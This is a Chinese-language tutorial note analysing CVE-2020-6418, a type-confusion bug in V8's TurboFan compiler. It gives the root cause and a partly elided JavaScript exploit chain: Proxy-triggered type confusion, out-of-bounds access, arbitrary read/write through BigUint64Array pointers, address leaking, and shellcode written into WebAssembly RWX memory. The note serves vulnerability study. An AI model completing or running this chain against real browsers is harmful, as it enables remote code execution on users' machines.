CVE-2020-6418 V8漏洞分析笔记
字数 1368 2025-08-18 17:33:30
CVE-2020-6418 V8漏洞分析与利用教学文档
1. 漏洞概述
CVE-2020-6418是V8引擎中的一个JIT优化漏洞,属于TurboFan优化过程中对JSCreate操作码的副作用判断错误导致的类型混淆漏洞。该漏洞允许攻击者通过精心构造的JavaScript代码实现类型混淆,最终可导致任意代码执行。
2. 环境搭建
2.1 所需工具
- 代理工具(如酸酸乳)
- Git 2.22.0.windows.1
- Curl 7.55.1
- Windows 10专业版
2.2 配置步骤
-
代理配置:
git config --global https.proxy socks5://127.0.0.1:1080 git config --global http.proxy socks5://127.0.0.1:1080 git config --global git.proxy socks5://127.0.0.1:1080 set HTTP_PROXY=socks5://127.0.0.1:1080 set HTTPS_PROXY=socks5://127.0.0.1:1080 -
depot_tools安装:
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git set DEPOT_TOOLS_WIN_TOOLCHAIN=0 set GYP_MSVS_VERSION=2019 -
V8源码下载与编译:
fetch v8 cd v8 git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07 gclient sync python tools\dev\v8gen.py x64.release python tools\dev\v8gen.py x64.debug python tools\dev\gm.py x64.debug d8 python tools\dev\gm.py x64.release d8
3. 背景知识
3.1 指针压缩技术
新版本V8采用指针压缩技术提高性能:
- Smi:32位指针,最后1bit为pointer tag
- Object:分为两部分表示
- 32位指针中保存低32位地址
- 高32位保存在r13寄存器中作为base
3.2 BigUint64Array
用于操作8字节内存,比Float64Array更方便:
data_ptr = external_pointer + base_pointer- 控制这两个指针可实现任意地址读写
3.3 Inlining优化
TurboFan的两种内联方式:
- General Inlining:处理用户代码内联
- Builtin Inlining:处理JS内置函数内联
4. 漏洞分析
4.1 漏洞根源
InferReceiverMapsUnsafe函数错误地将JSCreate节点标记为kReliableReceiverMaps(可靠),而实际上JSCreate可能有副作用(如查找原型对象),应标记为kUnreliableReceiverMaps(不可靠)。
4.2 漏洞触发流程
- 通过
Reflect.construct将JSCreate节点加入effect chain - JIT优化时调用
InferReceiverMapsUnsafe判断可靠性 - 由于错误判断,未加入
MapsCheck节点检查类型 - 通过回调函数修改数组类型后,优化代码仍使用旧类型
4.3 关键代码
// src/compiler/node-properties.cc
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
InferReceiverMapsResult result = kReliableReceiverMaps;
while (true) {
switch (effect->opcode()) {
case IrOpcode::kJSCreate: {
// 漏洞修复前错误地保持kReliableReceiverMaps
// 修复后应改为: result = kUnreliableReceiverMaps;
break;
}
}
}
}
5. 漏洞利用
5.1 从类型混淆到越界读写
- 创建HOLEY_DOUBLE_ELEMENTS数组
- 通过Proxy回调修改为HOLEY_ELEMENTS数组
- 利用类型混淆实现越界读写
let vuln_array = [,,,,,,,,,,,, 6.1, 7.1, 8.1];
var oob_array;
function f(p) {
vuln_array.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy ? 0.2 : 2.42902434121390450978968281326E-319*2);
// 触发JIT...
}
let p = new Proxy(Object, {
get: () => {
vuln_array[0] = {}; // 修改类型
oob_array = [1.1]; // 目标数组
return Object.prototype;
}
});
5.2 构造任意地址读写
- 创建BigUint64Array对象
- 通过越界读写修改其
external_pointer和base_pointer - 实现任意地址读写原语
function get_arw() {
uint64_length_offset = 16;
uint64_externalptr_offset = 17;
uint64_baseptr_offset = 18;
// 保存原始值
uint64_length = f2i(oob_array[uint64_length_offset]);
uint64_externalptr_ptr = f2i(oob_array[uint64_externalptr_offset]);
uint64_baseptr_ptr = f2i(oob_array[uint64_baseptr_offset]);
}
function arw_write(addr, payload) {
oob_array[uint64_length_offset] = i2f(BigInt(payload.length));
oob_array[uint64_baseptr_offset] = i2f(0n);
oob_array[uint64_externalptr_offset] = i2f(addr);
// 写入payload...
}
5.3 地址泄露
通过布置对象实现地址泄露:
obj_leaker = {
a: 0xc00c/2,
b: oob_array,
};
function addr_of(obj) {
obj_leaker.b = obj;
let half = f2half(oob_array[obj_leader_offset]);
if (half[0] == 0xc00c) {
return BigInt(half[1]);
}
}
5.4 任意代码执行
- 加载WebAssembly模块获取RWX内存
- 通过任意地址写将shellcode写入RWX内存
- 调用wasm函数执行shellcode
function get_wasm_rwx() {
wasm_module = new WebAssembly.Module(wasm_code);
wasm_instance = new WebAssembly.Instance(wasm_module, {});
wasm_function = wasm_instance.exports.main;
wasm_function_addr = addr_of(wasm_function);
// 遍历指针链获取RWX内存地址...
}
function run_shellcode() {
var shellcode = unescape("%u48fc...");
arw_write(wasm_rwx, shellcode);
wasm_function();
}
6. 完整利用链
- 触发类型混淆
- 构造越界读写
- 获取任意地址读写能力
- 泄露wasm函数地址
- 获取RWX内存地址
- 写入并执行shellcode
7. 防御措施
- 正确标记有副作用的操作码
- 加强类型检查
- 限制JIT优化中的假设条件